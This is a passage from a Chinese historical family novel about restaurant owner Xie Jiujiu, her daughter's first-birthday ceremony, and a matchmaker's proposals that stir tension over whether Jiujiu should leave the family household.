“那孩子一走,谢天佑发疯一样找了好些天。我思量着这事不该告诉你,那孩子就该走远一点儿,送到你那里去也摆脱不了他亲爹。他这辈子可以不读书,但是不能叫他爹给毁了。” 小老头儿说起这事直摇头,一个最是讲究规矩讲究天地君亲师,认了一辈子孝顺比天大的老头儿能说出这样的话,就可知谢天佑这人做到了什么份上。 不过这些事也就这么一说,别人家的事听一听就算了,能帮的帮不能帮的也不过是个故事。 晚上幺叔爷忙完过来,带了一个羊腿一篓子螃蟹。他现在是里正了,一进八月田里就忙,忙得塾长的事情都只能交代给他老婆的娘家侄儿帮忙管着。 下午知道谢九九和裴元来了,就赶紧找人换了个羊腿送过来。 幺叔爷这些年辈分大岁数小,在村里大家伙能跟他客气,但要说真把他当叔叔辈儿的人尊着,不说别人做不做得到,就是他自己也不能这么干。 直到给私塾做了塾长,村里人才把他看做在村里能说得上话主得上事的一号人。 当初另选里正的时候,村里把沈霁也叫了去,他是村上的教书先生,这种大事他不能不参加。 有他在,就等于谢九九和谢家也在。叔爷和谢宝柱一家又早就失了人心,当初私底下答应得好好的一定把票投给他们两家的人,到了真较劲的时候,只有稀稀拉拉那么两三个人附和。 倒是幺叔爷,因为跟谢家关系好,又做了私塾的塾长,就这么顺势被村上推出来成了新的里正。 本就有酒有菜,现在又多了一大锅清蒸的螃蟹,就连一直多听少说的于氏也难得多喝了两杯。 她这次回来倒是挺高兴的,因为之前一直跟着她认字学女红的两个女孩儿,都已经去县城做绣坊的学徒去了。 绣娘不好做,做得好的眼睛大多都不好。 但再不好,也比留在家里背朝黄土面朝天的好,好好学成个手艺,能给自 己攒些嫁妆,以后嫁了人在婆家腰杆子也硬,这就是最大的好。 第62章 第62章在鹿鸣村住了几天,…… 在鹿鸣村住了几天,没有人再提起谢天佑儿子那件事,谢九九甚至没有去问那个跟着叔叔远走天涯的孩子到底叫什么名字。 人都有自己的命,谢九九是如此那个孩子也是如此。谢九九必须接受父亲早死自己独自担起一个家,解决谢家一族这些亲戚的虎视眈眈。 那个孩子也得面对自己有个并不爱他,甚至把他养大只是想看看卖到哪里做学徒,能换回来更多的银子。 倒是于氏在临走前问到了那两个女孩儿在哪个绣坊做学徒,回府城的路上还专门绕路去了一趟,看过两人在绣坊除了忙些累些其他的都还好,这才放心回去。 不过这样的感慨也就在心里滚过一滚,等回到县城又忙起来,这件事就彻底被谢九九抛到脑后去了。 云客来中秋节之前要跟所有给饭庄供货的大小老板们结一笔钱,这个事情之前都是谢九九在管着。 去年八月份她肚子都老大了,别说去云客来,就是出门家里人都战战兢兢生怕她摔着,还是裴元请了几天假在云客来坐镇,和潘掌柜一起把这件事给办了。 也正是那之后,谢九九去云客来的次数才越发比之前少。 现在的云客来比以前谢德昌在世的时候生意还要好很多,尤其谢家还有裴元这个小三元的女婿,很多以前从不来这种小饭庄,嫌嘈杂市井的读书人也开始喜欢往云客来吃饭。 不知道从什么起,外面就流传起一个说法。说什么裴元就是自从入赘给谢九九以后才转了运,先是母亲被关家接回去,后又考出个小三元。 家里的生意蒸蒸日上,银子淌水似的往口袋里赚,谢大娘子还给他生了个孩子。就这么两年时间,裴元就完全不是当年那个守着裴雨伯的破宅子的落魄童生了。 也不知怎么着最后大家讨论出来的结果居然是,谢家大娘子是个命硬的,才会少时丧父。但又恰恰因为命硬,半死不活的云客来和落魄拮据裴元,只有在她手里才能起死回生。 这个说法传得有鼻子有眼的,哪怕谢九九自己一再解释缘由也并没有人想要听。毕竟靠谢九九的聪慧和谢家族人周旋相比,还是谢家大娘子命硬但旺夫旺饭庄更合听故事的人心意。 有些落第过好几次,或是本就很相信这类说法的读书人,越发喜欢到云客来吃饭。他们也想要沾一沾谢大娘子旺人的命格,说不定来年赴考,能有个好结果。 家里有读书人,谢九九自然不会把这些市井传言放在心上。十年如一日的读书,谁不想有个结果,要是来吃顿饭就能安他们的心,那就随他们去好了。 读书人吃饭,大多数吃着吃着就要喝酒,喝着喝着有时候还要赋诗一首,谈兴一起说个没完还要加菜,一顿饭吃下来花的银子比其他桌的都要多。 况且谢九九在生意一道上是生来的精明,起初那些读书人来吃饭,总是动不动问掌柜和跑堂要纸笔。纸笔不便宜,但做生意的买这些东西,总有比旁人更划算的铺子。 谢九九自己有记账的习惯,纸笔用得多用得勤,买的都是中上档次的。这样的纸拿来给客人挥斥方遒,那些读书人们就觉得十分受用。 有些人觉得这是饭庄的掌柜高看他们捧着他们,有些人以为是裴元这个谢家的女婿专门嘱咐的,觉得这个饭庄不光味道好,还没有那么多铜臭味。 不管因为什么,那些读书人把写好的诗词留在云客来,每一个微醺半醉的书生都珍而重之地把那张轻飘飘的纸留下。 起初谢九九还带回家给裴元看看,后来见裴元对诗词着实没兴趣也就不带了。干脆在云客来整理出一整面白墙,用来张贴这些诗赋。 做这件事的本意,是谢九九觉得人家把写好的诗词留下来,就这么扔了多少不合适。不如贴在墙上,等下一回他们来了看见自己之前写的诗,说不定就更愿意来云客来吃饭了。 谢九九确实猜中了那些读书人的心思,被贴在墙上的诗词吸引了很多人。从刚开始谁的诗都能往上贴,到后来三五成群的学生开始评选写得好的才能贴。 再到现在据说谁的诗好,该贴在什么位置才能让更多的食客看见,已经很有讲究了。 如此一来,云客来的生意自然更上层楼。好在谢九九今年有了新的账房,就是前年谢九九去鹿鸣村遇上的那个黑得发红的远房表亲,谢有粮。 谢九九给他找了个老账房先生学徒,因为是急着要用人,谢九九专门给那老账房送了重礼,老账房自然没有像寻常带徒弟那样,一磨磨两年,磨得把师父伺候好了再开始学本事。 谢有粮已经在云客来干了大半年,原本黑黝黝的少年着半年白了不少也长高了不少。当年谢九九以为他之比大根大两三岁,没想到那年他就十五了。 十七岁的小郎君穿着细棉布的直身,头发用同色的发带束起来,除了粗粝宽厚的手掌骨节,和掌心还没有褪干净的老茧,谢有粮已经看不太出来是个之前常年下地的人。 以往谢有粮都是每个月来家里交一次账,八月要付银子出去,过完中秋又要趁着农忙之前换一批东西买一批东西回来,他便自己做主一旬过来一趟,把账目交代清楚。 “过几天阿满那小丫头办周岁宴,那天你得来。” “每个月初一饭庄里生意就好,怕是走不开?” “忙也是潘掌柜和秦娘子他们忙,你还能忙到一顿饭的功夫都没有。放心,我给他们都另叫了席面,等晚上回云客来你还能再吃一顿。” “那我那天早点来,有什么要搭把手的大娘子尽管跟我说。” 谢有粮摸摸装在褡裢里的瓷老虎,决定还是等阿满周岁生辰当天再给她。 这样瓷老虎对于谢有粮说不便宜,但每次回去家里爹娘都一再嘱咐,出了村子就不要把自己和谢娘子的亲戚关系挂在嘴边,有些事心里知道就好,总放在嘴边说惹人不喜。 谢有粮从入云客来起,就一直称谢九九为大娘子或是东家。刚开始饭庄里还会有帮厨或是跑堂的小子故意问他,他不是东家的表弟嘛,干嘛这么见外。 不管他们怎么问怎么调侃,谢有粮都只笑笑不说话也不解释。倒是潘掌柜最先看明白谢有粮的态度,私下里挨个把饭庄里的人嘱咐过一遍,不要看着有粮年纪小,就没事拿他过嘴瘾。 谢九九并没有嘱咐过什么,但谢有粮这个只读了不到一年书的小子,主动把自己立成了一个标杆,一个让云客来所有人看着,该怎么对待东家的标杆。 谢家给谢九九和裴元的女儿谢阿满周岁宴,席面开始之前,胖墩墩的谢阿满被放在老大一张桌子上,准备抓周。 桌子周围围了一圈亲戚朋友,都等着看谢家这个大姑娘能捉出个什么来。 桌子上摆了不少东西,针线绣绷、银质的小锅小铲子被谢九九放在最边上,德言容功,在谢九九心里功排在最后。 在谢九九眼里能花钱请人办的事,就不是什么顶要紧的事,抓周抓个绣绷子锅铲子做什么,难不成还得盼着女儿一辈子针线不离手,做个绣娘不成。 脂粉钗环、拿金子打的巴掌大的小算盘,被谢九九放在最顺手的地方,谢九九爱美,她希望女儿以后也是个喜欢打扮自己的姑娘。 金算盘是新打的,前一天晚上谢九九就更裴元商量过,要是闺女明天说什么都没捉到金算盘,这个算盘也得找个好点的由头送给阿满。 谢九九从不掩饰自己爱财的心,不光自己爱财还希望谢阿满能继承自己的衣钵,会赚钱喜欢赚钱,手里到什么时候都能不缺银子花,那这辈子自己就算是放心了。 最后放在最中间的是一枚仿制极粗糙的官印,和棋谱书画。 官印代表以后谢阿满能嫁入官宦人家飞黄腾达,这是这个世道对一个女子最高的期盼。棋谱字画代表琴棋书画,修养高雅有闺秀之风。 要是裴元没有考中秀才,这两样一般不会准备。但谁让谢阿满有个考中了小三元的爹,客人们来吃酒,见着被裴元抱在怀里圆咕隆咚的小 丫头,一个个嘴上恭维的话,也大多都是这些意思。 裴元把胖闺女抱到桌子上,本意是想让她随便爬两圈,抓着什么就是什么,这种事就是图个热闹喜气,谁又能真的把抓周当真。 但谢阿满又岂是池中物,被抱到桌子上就不肯坐下也不肯爬。非要她爹牵着她的手,扶她在桌子上站起来。 “爹、爹爹!” 谢阿满是上个月开始学会说话的,第一个喊的是她爹。 早上裴元像往常一样准备出门去县学上课,他入县学半年之后就不只当学生了,有时候殷世衡不在县学或是找个什么借口偷懒,裴元就得充当临时教谕。 没有人觉得不对,周世安甚至私底下表达过,要是天天都是裴元给他们上课反倒好了。 那天殷世衡就因为要带妻子回她娘家去奔丧,前一日就嘱咐过裴元让他代自己上课。 县学挑选优秀的学生辅助教谕训导并不少见,裴元也不是白给人上课,殷世衡每个月都要从县学里拨二两银子给他作为补贴,一年二十四两,不少了。 要上课自然不能迟到,裴元急着走,偏偏谢阿满不知道为什么那天特别缠人,死活抱着她爹不松手。 吵得谢九九来了脾气,把小东西一把抱过来趴在自己腿上,啪啪在屁股上打了几下,看得裴元龇牙咧嘴一副他闺女受了天大委屈的样子。 谢九九看不得裴元这幅磨叽样子,打完孩子凶丈夫,连连摆手让裴元赶紧的走,这小妮子见不着人自然就好了。 谁知道裴元刚出门,谢阿满就趴在她娘腿上委委屈屈喊了一声爹。听得谢九九又抱着她哄她喊了好几声的爹,偏偏裴元一声也没听到。 等裴元下午回家谢九九把这事跟他一说,裴郎君那叫一个捶胸顿足的后悔,后悔早上怎么走得那么快,没听见自己的宝贝闺女叫自己爹。 那一次说话像是开了什么窍门,很快什么阿娘阿奶、抱抱亲亲就都会说了。 这会子站在桌子上被这么多人看着阿满也不害怕,一会儿喊爹一会儿喊娘的,非要谢九九和裴元都站在桌子旁边扶着她。 她摇摇晃晃走到每一个等待她挑选的东西旁边,一个一个拿起来塞到她爹或是她娘手里,这个拿起来又给出去,一个一个的都给完了,才一屁股在大桌子上坐下。 然后往后一倒,躺在桌子上来回的打起滚来。原来她嫌那些东西都碍了她的事,她什么都不打算要,她就要把这张大桌子当做夏日里的凉席,在上面玩儿! 第63章 第63章时间大法启动 谢阿满的抓周礼,以阿满在桌上滚累了,抱着她娘给她做的布老鼠呼呼大睡睡着收了尾。 谢九九也说到做到,第二天就把金算盘给放到给女儿准备的小匣子里,算作她一岁添置的金器,就如同当年谢德昌给谢九九准备的那样。 为此谢九九第一次趴在裴元肩膀上哭了一场,还死活不上裴元转身看到她哭的样子。裴元没问谢九九也没说,但是两人都知道,她这是想她爹了。 哭得狠了,第二天早上送裴元出门上马车时眼睛都是肿的。两人早就商量好了,等到女儿满了周岁裴元就出发去府学读书。 从出生到一岁,裴元除了每月去府城那一次,其余的时候连在外面过夜的时候都没有。 前院东厢的西次间是阿满的房间,但这么小的孩子又怎么可能让她一个人睡。 当初生下阿满,谢九九的母乳只能算是勉强够,后来再长大一点儿就不怎么够了。黄娟说这是随了她的根,她生养三个孩子的时候,也就谢九九一个吃足了母乳。 为此家里请了一个奶娘佟大姐回来,她家的闺女只比阿满大两天,可惜生下来就小小一个都不会哭。 佟大姐在这之前已经生了两个儿子,好不容易生了个女儿心里不知道多喜欢,见女儿不康健更是提了一万个小心养着。 只可惜留不住就是留不住,满月过后第三天那个还没取名字的女孩儿就死了。 佟大姐为此哭得死去活来,但哭完了日子还得过。家里丈夫武顺是在码头何奎的脚力行做工的苦力,每个月赚到的银子只能够一家人勉强在县城过活。 唯一不用担心地方是武家在城南有个小小的宅子,一进的小院进门就是正屋和东厢,西边只有一个茅草顶搭起来的土房子,用作厨房。 正房是武家一家子住,东厢租出去给了一对夫妻。这样的房子租不出什么好价钱,但多少是个补贴。 可那对夫妻是做小买卖的,佟大姐生了个女儿没留住,日哭夜哭的人家嫌晦气,就干脆另寻地方搬走了。 女儿生下来就弱,武顺再穷也咬牙请大夫回来给女儿看了两次。那么小的孩子连药都不能喂,第一个大夫摇摇头没收诊金走了,第二个收了诊金,给孩子扎了三天的针,之后也再没有来。 女儿没留住,家里的银子花了个精光,东厢房一时间租不出去家里的进项又少了一半。 佟大姐再难过,看看累得晚上回来吃不下饭的丈夫,和两个瘦瘦小小的儿子,这难过也就咽下去了。 佟大姐奶水足,为了女儿武顺天天从码头买鲫鱼回家给她炖汤。现在女儿没了奶水还涨着,想来想去便托何奎找了奶娘的活儿来干。 佟大姐还有两个儿子,儿子不大不小白天在家能把自己糊弄个肚圆,但她这个当娘的总不好一直不回去。 谢九九又是个晚上涨女乃白天少的,两边一商量,佟大姐就只有白天在谢家做奶娘,等到了晚上吃过晚饭就回去,晚上孩子都是夫妻两个自己带着。 阿满从出生到一岁,都是睡在她爹和娘中间。小姑娘机灵得不像话,才几个月大晚上睡觉前就非要把两只脚翘得高高的,一边一个哦哦哦的叫唤。 非要裴元和谢九九捉住她肉乎乎的小脚丫,像是跟大人说话那样,捏一捏她的脚心故意问她:“这是谁的小脚丫啊,是不是香香的小脚丫啊。” 等听到这个话了,阿满再心满意足的噢噢噢蹬腿拍手,示意这个香脚丫是自己的,才能高高兴兴的睡觉。 这么养大的孩子,裴元又哪里舍得。 站在家门口抱着闺女一个劲的亲,也不管孩子听不听的懂,就许愿说下次回来要带这个带那个,听得身后的拉车的马都烦了,这才把孩子塞到谢九九怀里,转身上了马车。 裴元去府学读书,谢九九每月都会带上已经断了奶,像是见风长一般的女儿去府城看他。这样的日子平淡却也安心,安心得时间一晃就过了。 还没等岳州府再出一个小三元,就又到了要乡试的年份。裴元等了三年,今年是一定要下场考试的,而谢阿满今年也该满三岁了。 裴元跟谢九九商量,等九月份阿满过完生辰就让她启蒙。这孩子太聪明太机灵,不能老这么散在外面由着她玩儿,搞不好就要移了性情。 当年关氏给裴老三当外室,也没落下给儿子请先生开蒙读书。这件事上谢九九当然全凭着裴元做主。 三岁的谢阿满已经知道读书是什么意思了,去年舅舅从书院回来考试没考上,在家待了好长的时间,天天除了吃饭其余时候都见不着人。 一向最惯着自己的阿奶也不让自己在后院玩儿,说是自己在后院玩会扰着舅舅读书。读书不是个好事,一想起舅舅那个样子,谢阿满就连连摇头。 但摇头也没用,谢阿满自从记事起就知道,爹爹最疼自己,但是只要是爹爹说出口要自己做的事,就从来没有讨价还价的余地,娘来求情也没用。 所以离过生辰还有半年的谢阿满,现在是睡醒了就要出去玩儿。不是在巷子里找邻居家的几个女孩儿玩过家家,就是小男孩儿女孩儿混做一堆扔沙包捉迷藏,每天都要滚得一身泥才肯回家。 “阿奶,阿奶!” “哎哟,我的小祖宗诶。这又是到什么 地方滚泥巴去了,瞧瞧、瞧瞧,瞧这一身的泥,怎么还有一股鱼腥味儿,这是玩到哪里去了。” “秦家姐姐带我去码头了,去看奎叔干活儿。” 小孩子是分不清码头上卖力气的苦力和学堂里读书的书生有什么区别,在谢阿满眼里爹爹很厉害,奎叔也厉害。 奎叔脚力行里的人,能一边肩膀扛起老大老大的一个包走得比自己跑还快,这对于谢阿满来说简直就是不能再厉害的厉害。 “不是说了不让去码头,要是掉到水里去怎么办,要是拐子把你拐走了怎么办。” “是承平哥哥带我去的,秦家姐姐也在,阿奶放心,我没去水边,我站得离水远远的。” 秦家姐姐是秦娘子的女儿,因着阿满对秦娘子更熟悉,何家的小娘子在她这儿就成了秦家姐姐。 谢阿满挨过她爹的打,就是因为去年谢九九和裴元带着她去鹿鸣村避暑的时候,她鼓捣沈凤岐和沈清蘅带着她去老宅前面的塘边玩儿,三个孩子两大一小都玩得满身泥才回来。 那天晚上最宠孩子的裴元,最温文尔雅的沈霁,一个拽着儿子一个扛着闺女回房去打屁股,还有一个沈清蘅也被于氏拉到屋子里去打手板。 只有谢九九一个人往厨房里去,打完了孩子总要吃饭的,不能说光打孩子不吃饭吧。 从那以后,谢阿满就知道什么事能做什么事不能做,水边不是不能去,毕竟活在容县的孩子还能离了水?真要是一辈子不叫姑娘往水边走,那才是因噎废食。 但是没把泅水学会之前,必须身边有大人才能往水边去。谢阿满记这个记得可牢了,她不光记得这个,还记得她娘说过码头最赚钱的脚力行就是秦家姐姐的爹开的,自己去码头玩儿肯定没问题。 谢阿满小嘴叭叭的说得头头是道,反倒把黄娟听得不知道该怎么说这个孙女儿好了。 “哎哟哟,好聪明的婉姐儿,这可真是一代更比一代强。当年我就说咱们这容县最出色的姑娘除了九九再没别人,现在一看,再等过些年,这最出色的姑娘怕是又要出在你们谢家了。” 说话的是田婆子,就是当年那个替谢九九和裴元保媒拉纤的媒婆。 正因为替两人保了这么一桩满县城都闻名的媒,多少有女儿待嫁的人家都专门去找田婆子,张嘴就是想要替自己女儿也找个像裴元这样的女婿,还说什么他家不要入赘,难道这还找不到吗。 田婆子被那话给气得哟,鼻子都要歪了。小三元那是那么好找的,人家不是小三元之前,你们不还背后嘀咕他是个没爹的野崽子来着。 现在又想要这么个女婿了?晚啦! 不过不管怎么说,田婆子这几年的名气大生意也好,一年四季天天都能见着她坐在滑竿上到处去,用她的话那便是这钱赚得不易,她那一双小脚都磨破几层皮了。 “这话可别当着这小祖宗的面说,她听得懂呢,你今天夸她,明天她就敢闯更大的祸,她娘又得打她。” 谢明婉是阿满的大名,光是明婉这个名字裴秀才公就琢磨了小半年,从女儿还在谢九九肚子里琢磨到谢九九出月子,他还没想好。一家子就只能唤奶团子阿满这个乳名。 直到都要过年了,黄娟要给孙女包压岁的红封,红封外面的要写上大名,谢九九也要往京城关令仪那边寄信,才死活催着裴元从他那列了一大堆的名字里挑出一个来。 不过全家早都叫阿满叫习惯了,这个大名反而在家里很少用,只有外人说起的时候才唤她婉姐儿。 刚开始阿满分不清,她只知道自己是阿满不知道明婉、婉姐儿是谁。还是后来才慢慢习惯了阿满是自己,婉姐儿也是自己这件事。 现在听田婆子夸她,小小一个鬼灵精还知道靠在她阿奶身上装出一副文文静静的样子,还学着沈清蘅的,冲田婆子抿着嘴笑,这叫笑不露齿,于姨和沈家姐姐都跟自己说过。 “阿奶,我娘呢。”田婆子提起谢九九,阿满才发现她娘没在家。 “你娘去饭庄里了,等会儿就回来。”黄娟一边抱着孩子一边示意田婆子继续说,谁知刚起了个话头还没表明来意的人,却下意识的往谢阿满身上意味深长地看了一眼。 “大娘子今天怎么有空过来。” “家里来了客人,找我娘的,我正好出来躲个清净。” 谢九九说这话的时候,正好有个喝得半醉的汉子扯着嗓子问跑堂的他点的丝瓜炒鸡蛋怎么还没上。那一嗓子喊得还守着炸货档口的韩婶子手一抖,炸地刚刚好的葱油饼吧嗒一下又给掉回油锅里去。 等韩婶子再把葱油饼夹上来,原本应该是淡黄色外壳酥脆内里软糯的饼子变得有些焦黄。韩婶子回头看了一眼,朝今年新招的两个小跑堂招招手,把饼子分给他俩吃。 十五六的小郎,正是吃得多饿得快的时候,刚从油锅里炸出来的葱油饼吹都不吹一下就往嘴里塞,烫得斯哈斯哈的也不吐,三两下吃完只留满嘴的油香,又心满意足的转身去干活。 谢九九看着热热闹闹的云客来,心里没什么多余的情绪。她从家里出来的时候田婆子刚到,她清楚她今天过来是为了什么。 第64章 第64章大姑子?小媳妇! 被田婆子看了一眼的阿满,被江妈妈带着去前院洗澡洗头发去了。在码头沾染回来的鱼腥味现在不洗干净,等干了就更难洗了。 “江妈妈,那个老婆婆来我家是做什么,她说什么秘密为什么不能让我听。” 小孩儿不傻,非但不傻还格外敏感。她看出来那个老婆婆就是因为自己在才停下来不说话的,谢阿满不明白为什么会有人在自己家里背着自己说话,所以她现在多少有些不高兴。 “因为那个阿婆要跟太太说的事情小孩子听了不好。” “什么事情我听了会不好。” 裴元从来不拘束阿满进前院的书房,只要不把她爹的书烧了撕了,阿满乐意在书房里睡上一整天也没关系。 谢九九和裴元说什么事情的时候也不会避着孩子,孩子是他们两人之间最紧密最牢固的联系。 花无百日红人无百日好,或许有一天夫妻也会走向疏离,但只要还有孩子在,两人之间的联系就断不了。所以除了某些只能他们两个人出力的事,旁的没有什么谢阿满不能知道。 谢阿满没有被爹娘瞒着过,这会儿就要打破砂锅问到底。但江妈妈又怎么好跟个孩子说这些,只能随手拿过一块干布巾叠了只布老鼠给阿满玩儿,勉强支吾过去。 “黄娘子上次托我去打听的事,我给打听好了。您瞧瞧这两家的小娘子怎么样,不是我自夸,这样四角俱全的好人家,如今也就我手里还有,别人想找都找不着。” 很多人家找上媒婆都不会大张旗鼓,甚至有许多都是藏着掖着。田婆子手里就有好些托她私底下细细寻摸的人家,这会子更是像献宝一样把一个巴掌大的小册子拿出来,递给黄娟。 册子上写的是两名女子的粗略家世和生辰年份,再仔细的生辰日子就没有了。这得等两家说定了,才能拿出来去合八字。 后面还有一副请人代画的小像,看不出高矮胖瘦,唯一能区分的就只有第一个女子脸圆眼睛大些,后一个是个容长脸凤目上扬,看上去纤弱些。 “前面这个是张百户家的小女儿,你知道的前些年张百户得了这个小闺女 ,可是摆了三天三夜流水席的。” 容县有码头,码头通过湖泽连接南北和运河,所以县城除了巡检司还有个百户所。张百户就是驻守在容县的卫所最高武武职,正六品的武职,比知县还要高一品。 “咱们县这些年太平,光是守着码头一年到头油水都不少,卫所里还有自己的田,要说日子好过,那是再没有比他们好过的。” 可正是因为太太平了,卫所里的那些个兵丁一个个都松懈得很。 百户的武职可以世袭,张百户的曾祖就是百户,他爷爷他爹都是,以后他儿子也会是张百户。有这么个底子在,张百户三个儿子没一个有出息的。 武职按惯例该由家中长子继承,但张百户的长子从小体弱,外人打眼一瞧就是个文弱的读书人,从小到大就没摸过枪杆子。 卫所再懈怠,这么一个人做百户也是不成的,底下的军户不会服气。 到了要成家的年纪,张百户给长子找了隔壁县里的县丞家的二小姐做儿媳妇,成亲之后又想法子把长子塞进卫所里做了个专门负责账房的吏目。 老二倒是个从小身板壮实的,从五岁起就被张百户带在身边摔摔打打练就一副勇武的好身板,人人都知道张家二爷就是日后新的张百户。 还有个老三,在他家姑娘没出生之前他就是老幺,从小娇生惯养的吃不得一点苦头,大了听说常流连烟花之地不说,还喜欢票戏。 在外面捧戏子,到了家里还养了两个小戏子。早好几年就被张百户赶去乡下的祖宅里独自住着,眼不见心不烦,老搁在跟前他看着头疼。 “三个儿子养成这样,要说张百户那心里也老不是滋味。到了这个姑娘这儿,张百户喜欢得不得了,但从小就给她请了先生,一个老老儒生在家做西席,一个女先生教女训女戒,真真是这个。” 田婆子顶了个大拇指用力抬了抬,以示张家这姑娘着实是哪哪儿都好。六品武官家的小姐,再是本朝重文轻武,那也是谢家高攀这么亲。 “说实在的,要不是你家文济是个老实孩子,家里又有小三元这么个秀才相公,这门亲我是不敢保的。” 黄娟当然知道这是实话,这样的家世,姑娘家里的哥哥再如何不争气,也轮不到自家一个商户人家来挑三拣四。 但黄娟看着小册子半晌没说话,没说好还是不好。见她这个样子田婆子还有什么不明白的,干脆主动伸手把那册子又翻过一页,指着容长脸的小像。 “这个,是咱们二老爷家的外甥女,他爹是个秀才,娘是二老爷的亲妹。原说家里也是殷实人家,六年前他爹考乡试,也不知怎么在考场里染了风寒,回来没两个月就死了。” 那姑娘姓李,李家本也算耕读之家,谁知李秀才一死李家就翻了脸,先是逼迫李姑娘的母亲何氏再嫁,想要占了李秀才的家产。 后来被何县丞出面一拦,不敢明着谋算就只能改成暗里刁难。后来实在没法子了,何家姑奶奶只能带着女儿住回了娘家。 寡居的何姑奶奶这几年都跟着爹娘住,在爹娘膝下尽孝,何姑娘则被她娘送到何县丞家里。 一来她觉得小姑娘家最是鲜嫩的时候,不好总跟着自己一个寡妇住在一起,没点儿热乎劲儿。二来也是想借着哥哥的势,给女儿谋个好亲事。 何县丞为人圆滑,但对这个外甥女一直不错,“县丞娘子也是去年找上的我,说是一定要给说一家不能委屈了孩子的亲事,我想来想去也就文济合适。” 裴元这两年去了府学,但跟周世安和何云驰的关系都没疏远,每次回县城三人总还要约着吃顿饭喝顿酒。 别人不知道却瞒不过田婆子去,何云驰就是何县丞的侄子,出生跟裴元还有些相似,裴元是外室子何云驰是从外面抱回来的私生子。 何县丞的弟弟当年一口气生了六朵金花,死活不认命非要个儿子,妻子生个六个女儿再生是不可能了的,就只好在外面找了个女人生。 本说好了生了儿子就把女儿带回家当姨娘,可那女人命不好,生儿子的时候难产,何县丞的弟弟选了保孩子,孩子生下来那女人也死了。 抱回何家的儿子,养在何县丞的弟妹跟前,或许是因为不是自己的亲骨肉,就给取了个何阿七这般随便的名字。直到后来年岁大了,才让何县丞另取了云驰这个字。 有裴元和何云驰的关系在,何县丞又是本地的二老爷,黄家黄海还在户房当差,这一家除了明面上不如张百户家的姑娘那么光鲜,其实底子并不差。 这样两户人家,真是田婆子实心实意给黄娟挑出来的,但不管哪一家都有一点顾忌,人家不见得乐意跟大姑子和入赘的女婿住在一个屋檐下。 “裴元对我这个老婆子够意思,每年过年还要专门拿着东西去家里给我拜年。” 媒婆自古到今都不是什么体面营生,他一个秀才相公愿意年年给自己拜年,光冲着这个田婆子也不能拆他的台。 “两家人,说白了都是奔着谢家的家底子来了。我有些话粗鄙了些,却也是实话。你家的家底子云客来占一半或许还少点儿,裴元占一半肯定还能多一点儿。” 要是没有裴元这个会读书,眼看着就要考上举人的女婿,这两家怕是都不会愿意结这门亲事。但再看中裴元日后的前程,也不妨碍他们不乐意一个屋檐下住着。 “可……”黄娟想说,可九九当时留在家里招赘是一家子商量好的,云客来也是她亲手抢回来的,现在人家姑娘不乐意算怎么回事,那难道自己还能把九九给分出去不成。 但话到嘴边又咽下去了,自家的苦衷自家知道,自己的女儿自己心疼。人家是要嫁姑娘,人都没嫁过来跟九九一点情分都没有,人家不想跟大姑子住,也不是全然没道理。 “道理你我都知道,可过日子就是这样的。亲母女住在一起都有磕磕绊绊的时候,更何况是儿媳妇和大姑子。这两户人家情况娘子你考虑考虑,咱不着急。” 田婆子没有舌灿如花的说更多,这件事主要还是看黄娟打算怎么取舍。要是真什么都舍不下,这两家恐怕都成不了。 谢九九在云客来耗了大半日,等回到家的时候太阳都落山了。前院挺安静的,一看就知道阿满肯定是在后院缠她奶奶。 绕过前堂直接去到后院,刚跨过垂花门,就看见敞开着的正屋厅堂里正在说话的黄娟安静下来,屋里还有江妈妈和黄家大舅妈在,两人见谢九九回来,也下意识地住了嘴。 “舅妈今天怎么有空过来,前几天舅舅带衙门里几个司吏去云客来吃饭,还跟我说最近正忙着让三表弟去衙门跑腿,这事成没成啊。” “成了,说是再过几天就跟着进去跑腿试试。人还没去呢就缠着你外婆给做了两套新衣裳了,也不知道他一个月的工钱能不能买这两套衣裳。” 大舅妈笑着跟谢九九说话,眼神却一直往黄娟身上看。看得谢九九直叹气,怎么装样子都装不像,这让自己想装聋作哑都装不成。 “娘,今天田婆子过来是不是给老二说媒的,怎么样啊,说了哪家的姑娘。” 这几年的经历让谢九九越发成熟了,哪怕脸上依旧还是跟几年前一样总是笑盈盈的,但不管是家里还是家外,都知道谢九九这个当家娘子,是不好惹的。 哪怕是黄娟,在女儿没回来之前把嫂子叫过来商量来商量去,这会儿真被女儿这么一问,也只剩老老实实把事情说清楚的份儿。 “明白了。”谢九九点点头,这两家的姑娘确实都不错,至少配还没考上秀才的谢文济是绰绰有余的,她娘现在应该是觉得哪家都好。 但现在的问题还不是说她想挑哪家的姑娘做儿媳妇,而是谢家不是当初的谢家,不是非要自己招赘才能保住家业的谢家。她现在是在犹豫,到底该不该先把自己从家里分出去。 谢九九说不清心里是什么滋味,也意外也惊诧,但更多的其实是心里那块石头落了地,这样的情形自己真的一点准备都没有吗,那也未必。 只不过真到了这一天,要说心里一点儿不舒服都没有也是假的。“娘,这事你思量着,想好了您告诉我你打算怎么办。” 第65章 第65章到底是谁的家 前院有小厨房,小小一间角房说大不大说小也不小,至少用来做谢九九一家三口连带春儿、曹勇高义和佟大姐的饭是足够了的。 但因为顾着家里人,不管是裴元还是谢九九,只要中午和晚上在家吗,都必定要去后院陪黄娟吃饭,就更不用提阿满了。 但今天谢九九没去,而是牵着女儿的手进了小厨房。 “酸辣笋炒肉末吃不吃。” “吃。” “仔姜炒鸡吃不吃。” “吃。” “再给你蒸个石灰蒸蛋行不行。” “行。” 阿满坐在角房门口的小板凳上看她娘做饭炒菜,看得津津有味。角房该成的小厨房烟道不大好,炒鸡的时候油烟味有些呛人,阿满就自己捂着自己的口鼻,也不说躲出去。 曹勇和高义都跟着裴元在府城没回来,老吴叔一向是跟着家里一起吃的。 谢九九这边一开火做饭,后院那边当然都知道了。但是没人来问也没人来劝,就好像谢九九单独在前院开伙分开吃饭,就这么被一家人默认了。 当着女儿的面,谢九九没有表露出一丝不高兴,做了三个菜之外还弄了个酸菜豆腐脑汤,加上春儿和佟大姐,四个人吃绰绰有余。 春儿知道这事之后出离的愤怒,她不明白明明是当年就说好的事情,怎么还能因为一个八字还没一撇的亲事,就生出要自家分出去的心思。 什么天仙似的姑娘,还没进门就先容不下自家大姑娘,也不想想现在这份家业是谁赚来的。 没有这份家业、没有姑爷这个好女婿,六品百户家的闺女,县衙二老爷的侄女,又能不能看得上谢文济! 还没把人娶回来就这个做派,春儿十足的看不上。不光是看不上透露出不想跟大姑姐同住的那两家,就是黄娟和谢文济春儿也生了怨怼。 但她什么都没说,跟着谢九九这几年她在外也能独当一面,外边那么些掌柜老板,见了春儿谁不得客气喊一声春姑娘。 